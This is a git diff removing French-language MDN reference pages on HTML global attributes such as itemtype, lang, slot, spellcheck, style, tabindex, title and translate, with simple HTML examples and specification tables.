-  <span itemprop="recipeIngredient">Thinly-sliced apples: 6 cups<br></span>
-  <span itemprop="recipeIngredient">White sugar: 3/4 cup<br></span>
- ... </p>
-
-Directions: <br>
-  <div itemprop="recipeInstructions">
-    1. Cut and peel apples<br>
-    2. Mix sugar and cinnamon. Use additional sugar for tart apples. <br>
-    ...
-  </div>
-</div>
- -

Structure des données

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
itemscopeitemtypeRecipe
itempropname:Grandma's Holiday Apple Pie
itempropimage: -
https://c1.staticflickr.com/1/30/42759561_8631e2f905_n.jpg
-
itempropdatePublished:2009-11-05
itempropdescription:This is my grandmother's apple pie recipe. I like to add a dash of nutmeg.
itempropprepTime:PT30M
itempropcookTime:PT1H
itemproptotalTime:PT1H30M
itemproprecipeYield:1 9" pie (8 servings)
itemproprecipeIngredient:Thinly-sliced apples: 6 cups
itemproprecipeIngredient:White sugar: 3/4 cup
itemproprecipeInstructions: -
1. Cut and peel apples 2. Mix sugar and cinnamon. Use additional sugar for tart apples .
-
itempropauthor [Person]:
itempropname:Carol Smith
itemscopeitemprop[itemtype]aggregateRating [AggregateRating]:
itempropratingValue:4.0
itempropreviewCount:35
itemscopeitemprop[itemtype]nutrition [NutritionInformation]:
itempropservingSize:1 medium slice
itempropcalories:250 cal
itempropfatContent:12 g
- -
-

Note : Pour extraire des micro-données d'un document HTML, vous pouvez utiliser l'outil d'extraction de Google pour les micro-données. Vous pouvez par exemple utiliser le document HTML précédent.

-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('HTML Microdata', "#dfn-itemscope", "itemscope")}}{{Spec2('HTML Microdata')}} 
{{SpecName('HTML WHATWG', "microdata.html#attr-itemscope", "itemscope")}}{{Spec2('HTML WHATWG')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("html.global_attributes.itemscope")}}

- -

Voir aussi

- -
    -
  • Les différents attributs universels
    • -
  • Les autres attributs universels relatifs aux microdonnées : -
      -
    • {{htmlattrxref("itemid")}}
      • -
    • {{htmlattrxref("itemprop")}}
      • -
    • {{htmlattrxref("itemref")}}
      • -
    • {{htmlattrxref("itemscope")}}
      • -
    • {{htmlattrxref("itemtype")}}
      • -
    -
    • -
diff --git a/files/fr/web/html/attributs_universels/itemtype/index.html b/files/fr/web/html/attributs_universels/itemtype/index.html deleted file mode 100644 index 5d3ce08694..0000000000 --- a/files/fr/web/html/attributs_universels/itemtype/index.html +++ /dev/null @@ -1,113 +0,0 @@ ---- -title: itemtype -slug: Web/HTML/Attributs_universels/itemtype -tags: - - Attribut - - Attribut universel - - HTML - - Micro-données - - Microdata - - Référence(2) -translation_of: Web/HTML/Global_attributes/itemtype ---- -
{{HTMLSidebar("Global_attributes")}}
- -

L'attribut universel itemtype définit l'URL du vocabulaire qui sera utilisé pour définir les propriétés des objets dans la structure de données. itemscope est utilisé afin de définir la portée, dans le document, où le vocabulaire défini sera actif.

- -

L'attribut itemtype doit avoir une valeur qui est un ensemble non ordonné de fragments uniques, sensible à la casse. Chaque fragment doit être une URL absolue valide et tous les fragments participent à la définition du même vocabulaire. La valeur de l'attribut doit avoir au moins un fragment.

- -

Les types d'objet doivent tous être définis dans des spécifications de vocabulaire (comme schema.org) et doivent tous être définis avec le même vocabulaire.

- -

L'attribut itemtype peut uniquement être défini pour les éléments qui ont un attribut itemscope.

- -

Google et les autres moteurs de recherche participent au vocabulaire défini par schema.org pour structurer les données. Ce vocabulaire définit un ensemble standard de types et de noms de propriétés. Par exemple MusicEvent indique un événement musical dont les propriétés startDate et location utilisées pour définir les détails du concert. Dans ce cas, l'URL http://schema.org/MusicEvent sera l'URL utilisée pour l'attribut itemtype et les propriétés startDate et location seront les propriétés utilisées, définies par http://schema.org/MusicEvent.

- -
-

Note : Vous pourrez trouver plus d'informations sur l'attribut itemtype sur http://schema.org/Thing

-
- -

Syntaxe

- -

Syntaxe formelle

- -
itemtype = URL
- -

Exemple simple

- -

HTML

- -
<div itemscope itemtype="http://schema.org/Product">
-  <span itemprop="brand">ACME</span>
-  <span itemprop="name">Executive Anvil</span>
-</div>
- -

Structure de données

- - - - - - - - - - - - - - - - - - - - - - - -
itemscopeitemtypehttp://schema.org/Product
itempropnameExecutive Anvil
itempropbrand [Thing]
itempropnameACME
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('HTML Microdata', "#dfn-itemtype", "itemtype")}}{{Spec2('HTML Microdata')}} 
{{SpecName('HTML WHATWG', "microdata.html#attr-itemtype", "itemprop")}}{{Spec2('HTML WHATWG')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("html.global_attributes.itemtype")}}

- -

Voir aussi

- -
    -
  • Les différents attributs universels
    • -
  • Les autres attributs universels relatifs aux microdonnées : -
      -
    • {{htmlattrxref("itemid")}}
      • -
    • {{htmlattrxref("itemprop")}}
      • -
    • {{htmlattrxref("itemref")}}
      • -
    • {{htmlattrxref("itemscope")}}
      • -
    • {{htmlattrxref("itemtype")}}
      • -
    -
    • -
diff --git a/files/fr/web/html/attributs_universels/lang/index.html b/files/fr/web/html/attributs_universels/lang/index.html deleted file mode 100644 index 6a45c3ed2a..0000000000 --- a/files/fr/web/html/attributs_universels/lang/index.html +++ /dev/null @@ -1,86 +0,0 @@ ---- -title: lang -slug: Web/HTML/Attributs_universels/lang -tags: - - Attribut - - Attribut universel - - HTML - - Reference -translation_of: Web/HTML/Global_attributes/lang ---- -
{{HTMLSidebar("Global_attributes")}}
- -

L'attribut universel lang permet de définir la langue utilisée pour l'élément. Pour les éléments non-éditables, c'est la langue dans laquelle ils sont écrits. Pour les éléments éditables, c'est la langue dans laquelle devrait écrire l'utilisateur. La valeur de cet attribut est une « balise de langue » dont le format est défini par le document de l'IETF : Les balises d'identification de langues (BCP47). Si cette balise est la chaîne vide, la langue sera définie comme inconnue. Si la balise de langue n'est pas valide selon BCP47, la langue sera définie comme invalide.

- -
{{EmbedInteractiveExample("pages/tabbed/attribute-lang.html","tabbed-shorter")}}
- - - -

Même lorsque l'attribut lang est défini, il peut ne pas être pris en compte. En effet, l'attribut {{htmlattrxref("xml:lang")}} aura la priorité sur celui-ci.

- -

Pour la pseudo-classe CSS {{cssxref(":lang")}}, deux noms de langues invalides sont considérés différents si les noms utilisés sont différents. Par exemple, alors que :lang(fr) permet l'appariement avec les déclarations (valides) lang="fr-BE" ou lang="fr-CH", un encodage (invalide) comme :lang(xyzzy) ne permet pas l'appariement avec une déclaration (invalide) comme lang="xyzzy-Zorp!".

- -

Syntaxe des balises de langue

- -

La syntaxe complète décrite par la BCP 47 est suffisamment développée pour désigner certains dialectes spécifiques. Toutefois, dans la plupart des cas, l'utilisation sera assez simple.

- -

Voici un aperçu de la syntaxe simplifiée. Une balise de langue est composées de trois « sous-balises » séparées par des tirets. Chacune de ces sous-balises indique une certaine propriété de la langue. Les trois sous-balises communément utilisées sont :

- -
-
Sous-balise de langue
-
Ce fragment est obligatoire. C'est un code sur deux ou trois caractères (généralement en minuscules) qui définit la langue de base. Pour l'anglais, cette sous-balise est en et pour le Badeshi, cette balise est bdz.
-
Sous-balise de script
-
Ce fragment est optionnel. Il décrit le système d'écriture utilisé par la langue. Cette sous-balise contient toujours quatre caractères. Pour le braille français, la balise complète sera donc fr-Brail ; pour le japonais écrit avec l'alphabet Katakana, le code sera ja-Kana. Si la langue est utilisée avec le script le plus fréquemment utilisé (par exemple de l'espagnol écrit avec l'alphabet latin), il n'est pas nécessaire d'indiquer cette sous-balise.
-
Sous-balise régionale
-
Ce fragment est optionnel. Il définit un dialecte de la langue de base pour une région donnée. Cette sous-balise est composée de deux lettres en majuscules pour indiquer un pays ou de trois chiffres pour une indiquer une région qui n'est pas un pays. Ainsi, es-ES représente l'espagnol parlé en Espagne et es-013 représente l'espagnol parlé en Amérique centrale ; l'espagnol international serait simplement es.
-
- -

La sous-balise de script doit précéder la sous-balise régionale si les deux sont présentes. Voici un exemple avec les trois fragments : ru-Cyrl-BY qui correspond au russe, écrit avec l'alphabet cyrillique, tel que parlé en Biélorussie.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('HTML WHATWG', "dom.html#the-lang-and-xml:lang-attributes", "lang")}}{{Spec2('HTML WHATWG')}}Aucun changement depuis la dernière dérivation, {{SpecName('HTML5.1')}}
{{SpecName('HTML5.1', "dom.html#the-lang-and-xml:lang-attributes", "lang")}}{{Spec2('HTML5.1')}}Dérivée de {{SpecName('HTML WHATWG')}}, aucun changement de {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', "dom.html#the-lang-and-xml:lang-attributes", "lang")}}{{Spec2('HTML5 W3C')}}Dérivée de {{SpecName('HTML WHATWG')}}. Définition du comportement de l'attribut xml:lang et de l'algorithme à utiliser pour déterminer la langue utilisée. Cet attribut devient également un attribut global à part entière.
{{SpecName('HTML4.01', 'struct/dirlang.html#h-8.1', 'lang')}}{{Spec2('HTML4.01')}}Attribut supporté pour tous les éléments {{HTMLElement("applet")}}, {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("br")}}, {{HTMLElement("frame")}}, {{HTMLElement("frameset")}}, {{HTMLElement("iframe")}}, {{HTMLElement("param")}}, et {{HTMLElement("script")}}.
- -

Compatibilité des navigateurs

- - - -

{{Compat("html.global_attributes.lang")}}

- -

Voir aussi

- - diff --git a/files/fr/web/html/attributs_universels/slot/index.html b/files/fr/web/html/attributs_universels/slot/index.html deleted file mode 100644 index c6b96098a0..0000000000 --- a/files/fr/web/html/attributs_universels/slot/index.html +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: slot -slug: Web/HTML/Attributs_universels/slot -tags: - - Attribut - - Attribut universel - - HTML - - Reference -translation_of: Web/HTML/Global_attributes/slot ---- -
{{HTMLSidebar("Global_attributes")}}{{SeeCompatTable}}
- -

L'attribut HTML universel slot permet d'affecter un créneau d'un shadow DOM à un élément. Un élément avec un attribut slot est affecté au créneau créé par l'élément {{HTMLElement("slot")}} dont la valeur de l'attribut {{htmlattrxref("name", "slot")}} correspond à celle de l'attribut slot.

- -

Pour des exemples d'application, consulter le guide Utiliser les modèles (templates) et les emplacements (slots).

- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('HTML WHATWG', "dom.html#attr-slot", "slot attribute")}}{{Spec2('HTML WHATWG')}} 
{{SpecName('DOM WHATWG', "#dom-element-slot", "slot attribute")}}{{Spec2('DOM WHATWG')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("html.global_attributes.slot")}}

- -

Voir aussi

- - diff --git a/files/fr/web/html/attributs_universels/spellcheck/index.html b/files/fr/web/html/attributs_universels/spellcheck/index.html deleted file mode 100644 index efc982d646..0000000000 --- a/files/fr/web/html/attributs_universels/spellcheck/index.html +++ /dev/null @@ -1,153 +0,0 @@ ---- -title: spellcheck -slug: Web/HTML/Attributs_universels/spellcheck -tags: - - Attribut - - Attribut universel - - HTML - - Reference -translation_of: Web/HTML/Global_attributes/spellcheck ---- -
{{HTMLSidebar("Global_attributes")}}
- -

L'attribut universel spellcheck est un attribut à valeur contrainte qui définit si l'orthographe du contenu de l'élément doit être vérifiée.

- -
{{EmbedInteractiveExample("pages/tabbed/attribute-spellcheck.html","tabbed-shorter")}}
- - - -

Les valeurs autorisées pour cet attribut sont :

- -
    -
  • true : cette valeur indique que, si possible, l'orthographe de l'élément doit être vérifiée avec le correcteur orthographique.
    • -
  • false : cette valeur indique que l'orthographe de l'élément ne doit pas être vérifié.
    • -
- -

La valeur par défaut de l'attribut (utilisée si elle n'est pas définie explicitement) sera fonction du navigateur et du type d'élément. Cette valeur par défaut peut également être héritée (autrement dit, la valeur utilisée pour l'élément courant sera la valeur explicite définie pour son plus proche ancêtre dans l'arbre des éléments).

- -

Cet attribut est un attribut à valeur contrainte, ce n'est pas un attribut booléen. Il faut donc utiliser explicitement les valeurs true ou false. Ainsi :

- -
<label spellcheck>Label exemple</label>
- -

sera invalide, la formulation correcte étant :

- -
<label spellcheck="true">Label exemple</label>
- -

Cet attribut n'est qu'une indication à destination du navigateur : il n'est pas obligatoire qu'un navigateur puisse vérifier l'orthographe. Les éléments non-éditables ne sont généralement pas vérifiés, même lorsque spellcheck vaut true et que le navigateur possède une fonctionnalité de vérification orthographique.

- -

La valeur par défaut sera différente selon l'élément et le navigateur :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Navigateur{{HTMLElement("html")}}{{HTMLElement("textarea")}}{{HTMLElement("input")}}AutresCommentaires
Firefox / GeckofalsefalsefalsehéritéLorsque layout.spellcheckDefault vaut 0
falsetruehéritéhéritéLorsque layout.spellcheckDefault vaut 1 (valeur par défaut)
falsetruetruehéritéLorsque layout.spellcheckDefault vaut 2
Chromefalsetrue?hérité
Internet Explorerfalsetrue?hérité
Operafalsetrue?hérité
Safarifalsetrue?hérité
- -

Exemples

- -

HTML

- -
<!-- La valeur par défaut -->
-<textarea>Saisissay un texte issy</textarea>
-
-<!-- Les valeurs explicites -->
-<textarea spellcheck="true">Saisissay un texte issy</textarea>
-<textarea spellcheck="false">Saisissay un texte issy</textarea>
-
- -

Résultat

- -

{{EmbedLiveSample("Exemples","200","300")}}

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('HTML WHATWG', "interaction.html#spelling-and-grammar-checking", "spellcheck")}}{{Spec2('HTML WHATWG')}}Pas de changement depuis la dernière dérivation, {{SpecName('HTML5.1')}}
{{SpecName('HTML5.1', "editing.html#spelling-and-grammar-checking", "spellcheck")}}{{Spec2('HTML5.1')}}Dérivée de {{SpecName('HTML WHATWG')}}, définition initiale.
- -

Compatibilité des navigateurs

- - - -

{{Compat("html.global_attributes.spellcheck")}}

- -

Voir aussi

- - diff --git a/files/fr/web/html/attributs_universels/style/index.html b/files/fr/web/html/attributs_universels/style/index.html deleted file mode 100644 index 3da865a0e9..0000000000 --- a/files/fr/web/html/attributs_universels/style/index.html +++ /dev/null @@ -1,92 +0,0 @@ ---- -title: style -slug: Web/HTML/Attributs_universels/style -tags: - - Attribut - - Attribut universel - - HTML - - Reference -translation_of: Web/HTML/Global_attributes/style ---- -
{{HTMLSidebar("Global_attributes")}}
- -

L'attribut universel style contient des déclarations CSS afin de mettre en forme l'élément. Attention, il est recommandé de définir les règles de mise en forme dans un ou plusieurs fichiers séparés. Cet attribut, ainsi que l'élément {{HTMLElement("style")}} ont simplement pour but de permettre une mise en forme rapide, notamment pour tester.

- -
{{EmbedInteractiveExample("pages/tabbed/attribute-style.html","tabbed-shorter")}}
- - - -
-

Note : Cet attribut ne doit pas être utilisé à des fins sémantiques. En effet, si toute mise en forme est retirée, toute page doit rester correcte d'un point de vue sémantique. On ne devrait pas, notamment, utiliser cet attribut afin de cacher des informations qui ne seraient pas pertinentes (cela devrait être réalisé avec l'attribut {{htmlattrxref("hidden")}}.

-
- -

Exemples

- -

HTML

- -
<p style="color: rgb(255, 0, 0)">
-  Cette méthode n'est pas vraiment recommandée
-</p>
-
-<p class="toto">
-  Alors que ça, c'est mieux.
-</p>
- -

CSS

- -
.toto {
-  color: rgb(0, 255, 0);
-}
- -

Résultat

- -

{{EmbedLiveSample("Exemples","300","300")}}

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('HTML WHATWG', "dom.html#the-style-attribute", "style")}}{{Spec2('HTML WHATWG')}}Aucune modification depuis la dernière dérivation de {{SpecName('HTML5.1')}}
{{SpecName('HTML5.1', "dom.html#the-style-attribute", "style")}}{{Spec2('HTML5.1')}}Dérivée de {{SpecName('HTML WHATWG')}}, aucune modification depuis {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', "dom.html#the-style-attribute", "style")}}{{Spec2('HTML5 W3C')}}Dérivée de {{SpecName('HTML WHATWG')}}. Depuis {{SpecName("HTML4.01")}}, cet attribut est désormais un attribut universel.
{{SpecName('HTML4.01', 'present/styles.html#h-14.2.2', 'style')}}{{Spec2('HTML4.01')}}Cet attribut est pris en charge par tous les éléments à l'exception de {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("param")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}}, et {{HTMLElement("title")}}.
{{SpecName("CSS3 Style", "", "")}}{{Spec2("CSS3 Style")}}Définition du contenu pour l'attribut style.
- -

Compatibilité des navigateurs

- - - -

{{Compat("html.global_attributes.style")}}

- -

Voir aussi

- - diff --git a/files/fr/web/html/attributs_universels/tabindex/index.html b/files/fr/web/html/attributs_universels/tabindex/index.html deleted file mode 100644 index 87aa27e5cc..0000000000 --- a/files/fr/web/html/attributs_universels/tabindex/index.html +++ /dev/null @@ -1,115 +0,0 @@ ---- -title: tabindex -slug: Web/HTML/Attributs_universels/tabindex -tags: - - Attribut - - Attribut universel - - HTML - - Reference -translation_of: Web/HTML/Global_attributes/tabindex ---- -
{{HTMLSidebar("Global_attributes")}}
- -

L'attribut universel tabindex est un entier indiquant si l'élément peut capturer le focus et si c'est le cas, dans quel ordre il le capture lors de la navigation au clavier (généralement à l'aide de la touche Tab). Si plusieurs éléments partagent la même valeur d'attribut tabindex, leur ordre sera calculé en fonction de leur position dans le document.

- -
{{EmbedInteractiveExample("pages/tabbed/attribute-tabindex.html","tabbed-standard")}}
- - - -

Cet attribut peut prendre l'une des valeurs suivantes :

- -
    -
  • Une valeur négative : l'élément peut capturer le focus mais ne peut pas être atteint via la navigation au clavier ; -
    -

    Note : Cette valeur peut être utile lorsqu'on a un contenu situé en dehors de l'écran qui doit apparaître lors d'un évènement donné. Il ne sera pas possible d'y passer le focus au clavier mais on pourra le faire avec la méthode focus().

    -
    -
    • -
  • 0 : l'élément peut capturer le focus et être atteint via la navigation au clavier, cependant son ordre relatif est défini par la plateforme, généralement selon l'ordre des éléments du DOM ; -
    -

    Attention ! Le positionnement CSS n'aura pas d'impact sur le taborder. Le positionnement n'a qu'un impact visuel, l'ordre des tabulations correspond à l'ordre du DOM.

    -
    -
    • -
  • Une valeur positive : l'élément peut capturer le focus et peut être atteint via la navigation au clavier, l'ordre relatif dans la navigation est défini par la valeur de l'attribut. Les navigations seront parcourues dans l'ordre croissant. -
    -

    Attention ! Il n'est pas recommandé de fournir des valeurs positives pour les éléments car cela peut être source de confusion, notamment pour les personnes qui utilisent des technologies d'assistance. Il est préférable d'organiser les éléments dans un ordre correct au niveau du DOM.

    -
    -
    • -
- -

Si on utilise l'attribut tabindex sur un élément {{HTMLElement("div")}}, on ne pourra pas naviguer dans le contenu de cet élément avec les flèches du clavier, sauf si tabindex est également utilisé sur le contenu. Pour observer ce comportement, vous pouvez utiliser cet exemple JSFiddle.

- -
-

Note : La valeur maximale pour tabindex est fixée à 32767 par HTML4. Sa valeur par défaut est 0 pour les éléments qui peuvent recevoir le focus et -1 pour les autres.

-
- -

Exemples

- -

HTML

- -
<button tabindex="1">Un bouton</button>
-<textarea>Saisir un texte</textarea>
-<button tabindex="0">Un autre bouton</button>
-<button tabindex="1">Et un troisième</button>
- -

Résultat

- -

{{EmbedLiveSample("Exemples","200","300")}}

- -

Accessibilité

- -

Il faut éviter d'utiliser l'attribut tabindex avec du contenu non-interactif si on souhaite uniquement rendre cet élément accessible au clavier (par exemple en voulant utiliser un élément {{HTMLElement("div")}} plutôt qu'un élément {{HTMLElement("button")}}).

- -

Les composants rendus interactifs par cette méthode ne feront pas partie de l'arbre d'accessibilité et ne pourront pas être analysés par les technologies d'assistance. Le contenu devrait être décrit sémantiquement avec des éléments interactifs ({{HTMLElement("a")}}, {{HTMLElement("button")}}, {{HTMLElement("details")}}, {{HTMLElement("input")}}, {{HTMLElement("select")}}, {{HTMLElement("textarea")}}, etc.). En effet, ces éléments disposent nativement de rôles et d'états qui peuvent être utilisées par les API d'accessibilité (il faut sinon les gérer via ARIA).

- - - -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('HTML WHATWG', "interaction.html#attr-tabindex", "tabindex")}}{{Spec2('HTML WHATWG')}}Aucune modification depuis la dernière dérivation, {{SpecName('HTML5.1')}}
{{SpecName('HTML5.1', "editing.html#the-tabindex-attribute", "tabindex")}}{{Spec2('HTML5.1')}}Dérivée de {{SpecName('HTML WHATWG')}}, aucune modification depuis {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', "editing.html#attr-tabindex", "tabindex")}}{{Spec2('HTML5 W3C')}}Dérivée de {{SpecName('HTML WHATWG')}}. À partir de {{SpecName("HTML4.01")}}, l'attribut est désormais supporté sur tous les éléments, c'est un attribut global à part entière.
{{SpecName('HTML4.01', 'interact/forms.html#adef-tabindex', 'tabindex')}}{{Spec2('HTML4.01')}}Attribut uniquement supporté sur {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("button")}}, {{HTMLElement("object")}}, {{HTMLElement("select")}}, et {{HTMLElement("textarea")}}.
- -

Compatibilité des navigateurs

- - - -

{{Compat("html.global_attributes.tabindex")}}

- -

Voir aussi

- - diff --git a/files/fr/web/html/attributs_universels/title/index.html b/files/fr/web/html/attributs_universels/title/index.html deleted file mode 100644 index 06f0feee8d..0000000000 --- a/files/fr/web/html/attributs_universels/title/index.html +++ /dev/null @@ -1,129 +0,0 @@ ---- -title: title -slug: Web/HTML/Attributs_universels/title -tags: - - Attribut - - Attribut universel - - HTML - - Reference -translation_of: Web/HTML/Global_attributes/title ---- -
{{HTMLSidebar("Global_attributes")}}
- -

L'attribut universel title contient un texte d'information relatif à l'élément auquel il est rattaché.

- -
{{EmbedInteractiveExample("pages/tabbed/attribute-title.html","tabbed-shorter")}}
- - - -

On le trouve généralement utilisé pour :

- -
    -
  • Fournir un libellé pour les éléments {{HTMLElement("iframe")}}
    • -
  • Fournir un libellé associé automatiquement à un élément {{HTMLElement("input")}}
    • -
  • Fournir un libellé pour les contrôles des tableaux de données
    • -
- -

Si cet attribut est absent, cela signifie que le titre de l'élément ancêtre le plus proche est toujours pertinent (et pourrait être utilisé comme bulle d'information pour l'élément courant). Si cet attribut vaut la chaîne vide, cela signifie explicitement que la valeur du titre de l'ancêtre le plus proche n'est pas pertinent (et ne devrait pas être utilisé comme bulle d'information).

- -

Une sémantique différente est définie pour cet attribut lorsqu'il est utilisé avec les éléments {{HTMLElement("link")}}, {{HTMLElement("abbr")}}, {{HTMLElement("input")}} et {{HTMLElement("menuitem")}}.

- -

Titre sur plusieurs lignes

- -

Un attribut title peut contenir plusieurs lignes. Chaque caractère U+000A LINE FEED (LF) représentera un saut de ligne. Le fragment de code suivant représente donc un élément dont le titre est écrit sur deux lignes.

- -

HTML

- -
<p>
-  Les sauts de ligne au sein d'un attribut title doivent être pris en compte :
-  <abbr title="Ceci est un
-  titre sur plusieurs lignes">Exemple</abbr>.
-</p>
-
- -

Résultat

- -

{{EmbedLiveSample("Titre_sur_plusieurs_lignes")}}

- -

Héritage de title

- -

Lorsqu'un élément ne possède pas d'attribut title, il hérite de la valeur de l'attribut pour l'élément parent (qui peut également l'hériter de son parent, etc.).

- -

Si cet attribut est défini avec la chaîne vide, cela signifie que le titre provenant d'un élément parent n'est pas pertinent et qu'il ne devrait pas être utilisé.

- -

HTML

- -
<div title="Une bubulle">
-  <p>Si vous survolez cet élément, il y aura une bulle d'information "Une bubulle".</p>
-  <p title="">Et au-dessus de celui-ci, aucune info.</p>
-</div>
- -

Résultat

- -

{{EmbedLiveSample("Héritage_de_title")}}

- -

Accessibilité

- -

L'attribut title est très problématique pour :

- -
    -
  • Les personnes qui utilisent des appareils à interface tactile
    • -
  • Les personnes qui naviguent au clavier
    • -
  • Les personnes qui naviguent en utilisant des outils d'assistance comme des lecteurs d'écran ou des loupes logicielles
    • -
  • Les personnes souffrant de troubles musculaires ou cognitifs.
    • -
- -

Cela est dû à une prise en charge hétérogène de la part des navigateurs. Si on souhaite avoir une bulle d'information, mieux vaudra utiliser une technique plus accessible.

- - - -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('HTML WHATWG', "elements.html#the-title-attribute", "title")}}{{Spec2('HTML WHATWG')}}Aucune modification depuis {{SpecName('HTML5.1')}}
{{SpecName('HTML5.1', "dom.html#the-title-attribute", "title")}}{{Spec2('HTML5.1')}}Dérivation de {{SpecName('HTML WHATWG')}}, aucune modification de {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', "dom.html#the-title-attribute", "title")}}{{Spec2('HTML5 W3C')}}Dérivation de {{SpecName('HTML WHATWG')}}. À partir de {{SpecName("HTML4.01")}}, title est désormais un attribut universel.
{{SpecName('HTML4.01', 'struct/global.html#adef-title', 'title')}}{{Spec2('HTML4.01')}}Pris en charge par l'ensemble des éléments sauf {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("param")}}, {{HTMLElement("script")}} et {{HTMLElement("title")}}.
- -

Compatibilité des navigateurs

- - - -

{{Compat("html.global_attributes.title")}}

- -

Voir aussi

- - diff --git a/files/fr/web/html/attributs_universels/translate/index.html b/files/fr/web/html/attributs_universels/translate/index.html deleted file mode 100644 index 215800e5ff..0000000000 --- a/files/fr/web/html/attributs_universels/translate/index.html +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: translate -slug: Web/HTML/Attributs_universels/translate -tags: - - Attribut - - Attribut universel - - Experimental - - HTML - - Reference -translation_of: Web/HTML/Global_attributes/translate ---- -
{{HTMLSidebar("Global_attributes")}}
- -

L'attribut universel translate est un attribut à valeur contrainte qui peut être utilisé afin d'indiquer si les valeurs d'attribut d'un élément et si les valeurs de ses nœuds {{domxref("Text")}} descendants doivent être traduits lorsque la page est localisée ou s'il faut les laisser inchangés. Les valeurs autorisées pour cet attribut sont :

- -
    -
  • "yes" (ou une chaîne vide), qui indique que l'élément devrait être traduit lorsque la page est localisée ;
    • -
  • "no", qui indique que l'élément ne doit pas être traduit.
    • -
- -
-

Note : Bien que la prise en charge de cet attribut ne soit pas homogène pour les navigateurs, celui-ci est pris en compte par les outils de traduction automatique (Google Translate par exemple) et les outils de traduction utilisés par les traducteurs. Aussi, cet attribut doit être utilisé par les auteurs web afin d'indiquer correctement le contenu qui ne devrait pas être traduit.

-
- -

Exemples

- -

HTML

- -
<label for="postcode" translate="no">
-   <span translate="yes">Enter your postcode to find the nearest store</span>
-</label>
-<input id="postcode" type="text">
- -

Résultat

- -

{{EmbedLiveSample("Exemples","250","250")}}

- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('HTML WHATWG', "dom.html#attr-translate", "translate")}}{{Spec2('HTML WHATWG')}}Aucun changement depuis la dernière dérivation {{SpecName('HTML5.1')}}
{{SpecName('HTML5.1', "dom.html#the-translate-attribute", "translate")}}{{Spec2('HTML5.1')}}Dérivée de {{SpecName('HTML WHATWG')}}, définition initiale.
- -

Compatibilité des navigateurs

- - - -

{{Compat("html.global_attributes.translate")}}

- -

Voir aussi

- - diff --git a/files/fr/web/html/attributs_universels/x-ms-acceleratorkey/index.html b/files/fr/web/html/attributs_universels/x-ms-acceleratorkey/index.html deleted file mode 100644 index f03780b703..0000000000 --- a/files/fr/web/html/attributs_universels/x-ms-acceleratorkey/index.html +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: x-ms-acceleratorkey -slug: Web/HTML/Attributs_universels/x-ms-acceleratorkey -tags: - - Attribut - - HTML - - Non-standard - - Reference -translation_of: Web/HTML/Global_attributes/x-ms-acceleratorkey ---- -
{{HTMLSidebar("Global_attributes")}}{{Non-standard_Header}}
- -

La propriété x-ms-acceleratorkey fournit une méthode pour déclarer si une touche d'accélération a été affectée à un élément.

- -
-

Note : Pour fournir un raccourci clavier pour un élément qui n'utilise pas JavaScript, on utilisera l'attribut accesskey.

-
- -

{{Non-standard_Inline}} Cette propriété non-standard est spécifique à Internet Explorer et à Microsoft Edge.

- -

La propriété x-ms-acceleratorkey permet d'indiquer sur l'arbre d'accessibilité (utilisé par les outils d'assistance tels que les lecteurs d'écran) qu'une touche d'accélération existe. Cet attribut ne fournit pas le comportement déclenché par cette touche. Il est nécessaire de fournir les gestionnaires d'évènements associés tels que onkeypress, onkeydown ou onkeyup afin de traiter l'utilisation de la touche dans l'application.

- - - -

Syntaxe

- -
<button x-ms-acceleratorkey="string">...</button>
- -

Valeur

- -

Cette propriété peut être une chaîne de caractères avec le nom de la touche accélératrice :

- -
    -
  • "Ctrl+B" pour indiquer la combinaison des touches Ctrl et B.
    • -
  • "J" pour indiquer la touche J uniquement.
    • -
  • "Ctrl+; then K" (cf. FogBugz’s old keyboard mode). Une approche plus compliquée mais qui ne remplace pas les raccourcis clavier fournis par le navigateur ou le système d'exploitation.
    • -
- -

Voir aussi

